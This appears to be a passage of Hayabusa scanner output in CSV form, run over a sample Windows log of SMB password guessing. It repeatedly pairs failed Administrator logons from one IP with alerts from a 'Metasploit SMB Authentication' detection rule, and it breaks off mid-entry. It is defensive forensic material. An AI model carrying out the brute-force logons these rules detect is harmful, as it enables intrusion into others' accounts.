Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nPaR2sBxPPCjxpL0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.656 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.706 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kJJ9A1EfqM4V2TRv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.706 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4dxf59xjpxO3oG17 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.760 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o6dMI12g4tjSF8PX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.804 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZAqN0xPaW4jg2Kjc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mcnReyIEaqsQfowV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: akOH8Y7XdjOpqTez : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.928 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.967 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b0HOK1TIqloud7gh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.967 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n6uIAK55BmTnA6Bf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.996 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.042 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZDnn6QmLOJ6KwzKt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.042 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: np8KaRJvRqBrGyFL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.084 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dxbu69Amr6gWN5Hw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LoZdaFJWNON8Ujnc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q4RSlXgOS7sssCqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j2PJprE7olK4pjrx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jQOAUcWQL32y2gGe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.297 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.361 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nXI0wWwzhHN0uvOP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.361 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.414 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ujGqTzfOhmKgoAjt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.414 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cFoPtWZ03O3ZZgOC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.468 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EyO2VTnpGZLeSIvr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.520 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ua69MEWABQ9hsooT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ubPQWn4nQYr3rXr8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.608 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.650 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xrgATdNqkA44nKqf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.650 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qKwktiUfTWakNx3I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xVebPFnWhbZKIANs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.728 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IyV8stIvfXLJQpsn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.776 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uStfvm0y0eZrWONH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.813 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OUwTyUXe8NLG7bCS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.967 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HQuDp8aZpWDANKMe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.967 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GQKTlzx2gq9ayAtJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.004 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.061 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tCzVponBvb9mbyIr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.061 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.115 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mSwnrFv90KjN2cqj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.115 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QX5TLs2MPkia1cmk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.161 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ammLKlG1Q5awQGvN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.200 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.235 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SJ1ijJjPJbF4uFlo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.235 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mZOLnwIzpGz03Yjh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.277 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xS8U3UQNz6l0LZn0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.320 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.361 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: no6cftQ5MF1fjZ0y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.361 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5WHS6jVRnCUH0Rb5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.392 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i3oGLwrCJXJOauf6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.437 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.477 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I1sxPrDYV3rr4pGJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.477 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Osysh2O2A3A2bN22 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.523 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FsInW9EMJZU8FOrF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.564 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ge8do8TM4GG1atMx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.605 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.641 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4w5GLbpVsAhGqCiq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.641 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8eQXeW1VpRU0ptMs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NhLosoA2parzTnW9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.728 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 